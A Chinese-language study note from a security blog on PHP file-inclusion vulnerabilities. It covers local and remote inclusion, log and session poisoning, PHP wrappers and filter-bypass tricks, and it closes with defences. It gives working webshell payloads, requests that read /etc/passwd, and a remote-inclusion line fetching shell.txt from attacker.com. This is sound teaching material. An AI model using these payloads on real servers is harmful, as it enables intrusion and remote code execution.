网络安全 / A LEAF IN THE GARDEN

文件包含

网络安全 · web / web漏洞。来自 Daily Learning 的学习笔记。

包含函数(特指 PHP)

功能

  • 运行指定文件
  • 从该文件引入变量、函数等到当前文件
  • 遇到 <?php ... ?> 标签解析为 PHP 代码并执行。

常用函数

  • include(): 遇到错误发出警告,脚本继续执行
  • require(): 遇到错误脚本停止
  • include_once(): 同 include(),但只包含一次
  • require_once(): 同 require(),但只包含一次

本地文件包含(LFI)

包含文件可能为变量形式,由用户输入或参数决定。

<?php
    $file = $_GET['file'];
    include($file);
?>

访问带包含语句的文件,修改参数,可包含服务器上的任意文件,获取敏感信息。

GET /index.php?file=/etc/passwd HTTP/1.1

常见目标

目标路径(Linux)
系统用户信息/etc/passwd
系统配置/etc/hosts
Apache 配置/etc/apache2/apache2.conf
日志文件/var/log/apache2/access.log
Web 源码/var/www/html/config.php

路径遍历

如果服务器不解析绝对路径,可使用 ../ 向文件系统上层遍历

GET /index.php?file=../../../../etc/passwd HTTP/1.1

远程代码执行(RCE)

执行 LFI 后,可通过如下逻辑执行恶意代码

[!SUMMARY] RCE 流程

  1. 在服务器上写入一个包含恶意 PHP 代码的文件
  2. 通过 LFI 包含该文件
  3. 恶意代码被执行,完成 RCE

问题在于第一步:怎么写入?

日志注入

Web 服务器(Apache、Nginx)会将访问日志写入文件。

攻击流程

  1. 修改请求头,注入恶意 PHP 代码到日志文件 access.log 中
    GET /index.php?file=whatever HTTP/1.1
    User-Agent: <?php system($_GET['cmd']); ?>
  2. 再通过 LFI 包含该日志文件
    GET /index.php?file=/var/log/apache2/access.log&cmd=whoami HTTP/1.1

常见日志路径

服务器路径
Apache (Debian/Ubuntu)/var/log/apache2/access.log
Apache (RHEL/CentOS)/var/log/httpd/access_log
Nginx/var/log/nginx/access.log
XAMPP (Windows)C:\xampp\apache\logs\access.log
WampServerC:\wamp\logs\access.log

[!TIP] 格局打开 任何记录攻击者可控数据、且能被 LFI 读取的日志文件都可以利用

日志解释利用方式
/var/log/auth.logSSH 登录日志尝试以 <?php system($_GET['cmd']);?> 为用户名 SSH 登录
/var/log/apache2/error.log错误日志访问不存在的 <?php system($_GET['cmd']);?> 页面时写入
………

Session 文件包含

Session 简介

类似于存档,通过序列化保存必要的变量,记录会话状态。每个用户有唯一的 sid 保存在 Cookie 中,对应服务器上的文件 sess_<sid>。

用户首次访问
  │
  ├── 服务器:session_start()
  │     ├── 生成一个随机 session_id,比如 1234
  │     └── 在服务器磁盘创建空文件:/tmp/sess_1234
  │
  ├── 通过 Cookie 返回:PHPSESSID=1234
  │
  ▼
用户再次访问(带着 Cookie:PHPSESSID=1234)
  │
  ├── 服务器:session_start()
  │     ├── 读到 session_id = 1234
  │     ├── 打开文件:/tmp/sess_1234
  │     ├── 反序列化内容 → 恢复 $_SESSION 数组
  │     └── $_SESSION['username'] = 'admin' 恢复好了
  │
  ▼
请求结束:
  │
  ├── 服务器:把 $_SESSION 序列化
  ├── 写入文件:/tmp/sess_a1b2c3d4...
  └── 文件内容:username|s:5:"admin";

Session 文件

文件路径由 session.save_path 决定

  • /var/lib/php/sessions/sess_<sid>(Linux 默认)
  • /tmp/sess_<sid>
  • C:\Windows\Temp\sess_<sid>(Windows 默认)

Session 序列化

序列化格式如下

<key>|<type>:<length>:"<value>";

示例

$_SESSION['user'] = 'tom';
$_SESSION['role'] = 'admin';
↓ 
user|s:3:"tom";role|s:5:"admin";

[!CAUTION] 两把刷子

  1. <value> 是直接写在文件里的,如果能改之,就能写入任意内容!
  2. 根据 Cookie 中的 sid,session 文件的路径是可知的,能通过 LFI 包含!

攻击流程

  1. 确定 session 文件路径
    • 通过 phpinfo() 查看 session.save_path
    • 猜测常见路径
  2. 找可控 $_SESSION 赋值点
    • 直接读 .php 源码找赋值点(或 grep)
    • 修改可疑变量,php://filter 检查 session 文件变化
  3. 向 $_SESSION 写入恶意代码
    $_SESSION['username'] = '<?php system($_GET["cmd"]); ?>';
  4. 通过 LFI 包含 session 文件
    /index.php?file=/tmp/sess_<sid>&cmd=whoami

PHP 伪协议(Wrapper)

特殊的文件访问机制,允许通过 URL 风格的路径访问各类资源。

我理解是把各种资源都当文件来读,类似 linux 里的一切皆文件

协议需要 allow_url_include备注
php://filter不需要永远可用
php://input不需要永远可用
data://需要 OnPHP ≥ 5.2 视为远程 URL
http:// / ftp://需要 OnRFI 核心

php://filter

在文件被 PHP 解析前,拦截数据流并进行处理,常用于读取源码。

把拦截处理后的数据流当文件来读

php://filter/操作1|操作2|.../resource=文件路径

常用操作如下

过滤器功能意义
convert.base64-encode源码编码为 Base64读任何 PHP 文件
convert.base64-decode解码 Base64 后写入配合写入链使用
convert.iconv.UTF-8.UTF-7字符集转换绕过特殊字符过滤
string.rot13ROT13 旋转编码绕过关键字过滤
string.toupper转大写辅助操作
string.tolower转小写辅助操作

[!NOTE] 这个伪协议主要用来读源码

php://input

读取请求体数据流,常用于读取 POST 数据。

把 POST 请求体当文件来读

# 读取请求体数据作为 PHP 代码执行
include('php://input');

攻击者可以把恶意代码放在 POST 请求体中

POST /index.php?file=php://input HTTP/1.1

<?php system('whoami'); ?>

data://

直接读取嵌入的信息

把嵌入的信息当文件来读

# 直接将 <code> 作为 PHP 代码执行
include('data://text/plain,<code>');

# 将 <encoded> 解码后作为 PHP 代码执行
include('data://text/plain;base64,<encoded>');

可以将恶意代码放在 URL 中,直接包含执行,或base64编码防止被过滤

# 直接包含执行
/index.php?file=data://text/plain,<?php system('whoami'); ?>

# base64 编码后包含执行
/index.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTsgPz4=
# ';'分隔参数 ','分隔段(这里是参数段与数据段),有点反直觉哦

远程文件包含(RFI)

如果服务器有如下配置,则可通过 URL 远程包含文件

allow_url_include = On

这个文件由攻击者完全控制

攻击流程

  1. 在攻击服务器上放置恶意文件

    # shell.txt
    <?php
        # 远程执行命令
        system($_POST['cmd']);
        # 远程执行 PHP 代码(加;)
        @eval($_POST['code']);
    ?>

    [!WARNING] 注意 PHP 文件会被服务器提前执行,因此远程文件不能是 .php后缀,除非是故意用 PHP 代码输出内容。

  2. 通过 URL 远程包含使目标服务器执行恶意文件

    GET /index.php?file=http://attacker.com/shell.txt HTTP/1.1

    这里 http:// 也是一个 PHP 伪协议

过滤与绕过

有些网站会对包含的文件名进行过滤,阻止包含敏感文件,但也可以绕过。

后缀追加

强制追加后缀,只能包含指定后缀的文件

$file = $_GET['file'] . '.php';
include($file);

空字符截断

用 \0 让字符串结束,其 URL 编码为 %00

/index.php?file=/etc/passwd%00
    php 拼接: /etc/passwd\0.php

路径长度截断

有些平台对路径长度有限制,超过限制的路径会被截断,因此填入超长路径使后缀失效

# 凑超长路径(./表示当前目录)
/index.php?file=/etc/passwd/././././././././...

# 或直接用点号
/index.php?file=/etc/passwd........

URL 参数截断

用 ? 或 # 结尾,使 PHP 认为后缀是 URL 片段

主要用于远程文件包含

# 问号截断
/index.php?file=http://attk.com/shell.txt?
    php 拼接: http://attk.com/shell.txt?.php
    ?.php 被认为是 URL 的 query string

# 井号截断
/index.php?file=http://attk.com/shell.txt%23 # %23 是 URL 编码的 #
    php 拼接: http://attk.com/shell.txt#.php
    #.php 被认为是 URL 的 fragment

路径遍历过滤

不允许 ../ ..\\,阻止路径遍历

# 黑名单过滤
$file = str_replace(['../', '..\\'], '', $_GET['file']);

# 正则匹配过滤
if (preg_match('/\.\.\/|\.\.\\\\/', $_GET['file'])){
    die('Invalid file path');
}

双写绕过

利用过滤非递归(只过滤一次)的性质

/index.php?file=....//....//
# 仅一次过滤
....// -> ../

双解码绕过

进行两次 URL 编码,过滤器解码一次,php 再解码一次,最终得到 ../

/index.php?file=%252e%252e%252f
# WAF 等过滤器解码一次
%252e%252e%252f -> %2e%2e%2f
# PHP 的 $_GET 解码一次
%2e%2e%2f -> ../

绝对路径

直接使用绝对路径,避免路径遍历

/index.php?file=/etc/passwd

有效防御

一些不能被绕过的有效防御措施

php.ini 配置

# 禁止远程文件包含
allow_url_include = Off 
# 禁止远程文件访问
allow_url_fopen = Off
# 限制 PHP 访问指定目录
open_basedir = /var/www/html/ 

包含代码

白名单(最佳)

$whitelist = ['home', 'about', 'contact'];
$file = $_GET['file'];
if (in_array($file, $whitelist)){
    include($file . '.php');
}

使用 basename() 去掉路径

$file = basename($_GET['file']);
include($file . '.php');